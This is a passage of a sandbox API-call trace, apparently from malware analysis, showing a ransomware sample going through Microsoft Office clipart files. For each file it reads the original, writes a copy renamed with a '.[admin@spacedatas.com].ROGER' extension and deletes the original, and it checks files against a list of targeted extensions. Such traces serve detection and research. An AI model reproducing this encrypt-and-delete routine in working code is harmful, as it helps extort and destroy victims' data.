(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.287] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.287] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0058.287] GetLastError () returned 0x0 [0058.287] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0058.289] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0058.290] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.290] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.290] SetEndOfFile (hFile=0x3b8) returned 1 [0058.290] CloseHandle (hObject=0x3b8) returned 1 [0058.290] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.290] SetEndOfFile (hFile=0x414) returned 1 [0058.291] CloseHandle (hObject=0x414) returned 1 [0058.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.292] lstrlenW (lpString=".doc") returned 4 [0058.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString=".docx") returned 5 [0058.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.292] lstrlenW (lpString=".pdf") returned 4 [0058.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString=".xls") returned 4 [0058.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.292] lstrlenW (lpString=".xlsx") returned 5 [0058.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.292] lstrlenW (lpString=".ppt") returned 4 [0058.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.292] lstrlenW (lpString=".zip") returned 4 [0058.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.292] lstrlenW (lpString=".rar") returned 4 [0058.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString=".bz2") returned 4 [0058.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString=".7z") returned 3 [0058.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.292] lstrlenW (lpString=".dbf") returned 4 [0058.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.292] lstrlenW (lpString=".1cd") returned 4 [0058.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".jpg") returned 4 [0058.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".doc") returned 4 [0058.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString=".docx") returned 5 [0058.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.293] lstrlenW (lpString=".pdf") returned 4 [0058.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString=".xls") returned 4 [0058.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.293] lstrlenW (lpString=".xlsx") returned 5 [0058.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.293] lstrlenW (lpString=".ppt") returned 4 [0058.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".zip") returned 4 [0058.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.293] lstrlenW (lpString=".rar") returned 4 [0058.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString=".bz2") returned 4 [0058.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString=".7z") returned 3 [0058.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".dbf") returned 4 [0058.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".1cd") returned 4 [0058.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0058.293] lstrlenW (lpString=".jpg") returned 4 [0058.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.294] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.294] lstrlenW (lpString="AN01184_.WMF") returned 12 [0058.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.294] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=3746) returned 1 [0058.294] CloseHandle (hObject=0x414) returned 1 [0058.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0058.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.294] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.294] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0058.295] GetLastError () returned 0x0 [0058.295] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xea2, lpOverlapped=0x0) returned 1 [0058.313] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0058.315] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.315] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.315] SetEndOfFile (hFile=0x3b8) returned 1 [0058.315] CloseHandle (hObject=0x3b8) returned 1 [0058.315] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.315] SetEndOfFile (hFile=0x414) returned 1 [0058.316] CloseHandle (hObject=0x414) returned 1 [0058.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString=".doc") returned 4 [0058.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString=".docx") returned 5 [0058.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.318] lstrlenW (lpString=".pdf") returned 4 [0058.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString=".xls") returned 4 [0058.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.318] lstrlenW (lpString=".xlsx") returned 5 [0058.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.318] lstrlenW (lpString=".ppt") returned 4 [0058.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString=".zip") returned 4 [0058.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.318] lstrlenW (lpString=".rar") returned 4 [0058.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString=".bz2") returned 4 [0058.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString=".7z") returned 3 [0058.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString=".dbf") returned 4 [0058.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString=".1cd") returned 4 [0058.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.318] lstrlenW (lpString=".jpg") returned 4 [0058.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString=".doc") returned 4 [0058.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString=".docx") returned 5 [0058.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.319] lstrlenW (lpString=".pdf") returned 4 [0058.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString=".xls") returned 4 [0058.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.319] lstrlenW (lpString=".xlsx") returned 5 [0058.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.319] lstrlenW (lpString=".ppt") returned 4 [0058.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString=".zip") returned 4 [0058.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.319] lstrlenW (lpString=".rar") returned 4 [0058.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString=".bz2") returned 4 [0058.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString=".7z") returned 3 [0058.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString=".dbf") returned 4 [0058.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString=".1cd") returned 4 [0058.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0058.319] lstrlenW (lpString=".jpg") returned 4 [0058.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.319] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.320] lstrlenW (lpString="AN01218_.WMF") returned 12 [0058.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.320] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=3012) returned 1 [0058.320] CloseHandle (hObject=0x414) returned 1 [0058.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0058.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.320] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.320] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0058.321] GetLastError () returned 0x0 [0058.321] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0058.331] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0058.331] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.331] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.331] SetEndOfFile (hFile=0x3b8) returned 1 [0058.332] CloseHandle (hObject=0x3b8) returned 1 [0058.332] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.332] SetEndOfFile (hFile=0x414) returned 1 [0058.333] CloseHandle (hObject=0x414) returned 1 [0058.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0058.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.333] lstrlenW (lpString=".doc") returned 4 [0058.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.333] lstrlenW (lpString=".docx") returned 5 [0058.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.333] lstrlenW (lpString=".pdf") returned 4 [0058.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.333] lstrlenW (lpString=".xls") returned 4 [0058.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.333] lstrlenW (lpString=".xlsx") returned 5 [0058.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.333] lstrlenW (lpString=".ppt") returned 4 [0058.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.333] lstrlenW (lpString=".zip") returned 4 [0058.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.333] lstrlenW (lpString=".rar") returned 4 [0058.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.333] lstrlenW (lpString=".bz2") returned 4 [0058.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString=".7z") returned 3 [0058.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString=".dbf") returned 4 [0058.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString=".1cd") returned 4 [0058.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString=".jpg") returned 4 [0058.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString=".doc") returned 4 [0058.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString=".docx") returned 5 [0058.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.334] lstrlenW (lpString=".pdf") returned 4 [0058.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString=".xls") returned 4 [0058.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.334] lstrlenW (lpString=".xlsx") returned 5 [0058.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.334] lstrlenW (lpString=".ppt") returned 4 [0058.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.334] lstrlenW (lpString=".zip") returned 4 [0058.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.334] lstrlenW (lpString=".rar") returned 4 [0058.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString=".bz2") returned 4 [0058.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.334] lstrlenW (lpString=".7z") returned 3 [0058.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.335] lstrlenW (lpString=".dbf") returned 4 [0058.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.335] lstrlenW (lpString=".1cd") returned 4 [0058.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0058.335] lstrlenW (lpString=".jpg") returned 4 [0058.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.335] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.335] lstrlenW (lpString="AN01545_.WMF") returned 12 [0058.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.335] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=7372) returned 1 [0058.335] CloseHandle (hObject=0x414) returned 1 [0058.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0058.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.336] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.336] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program 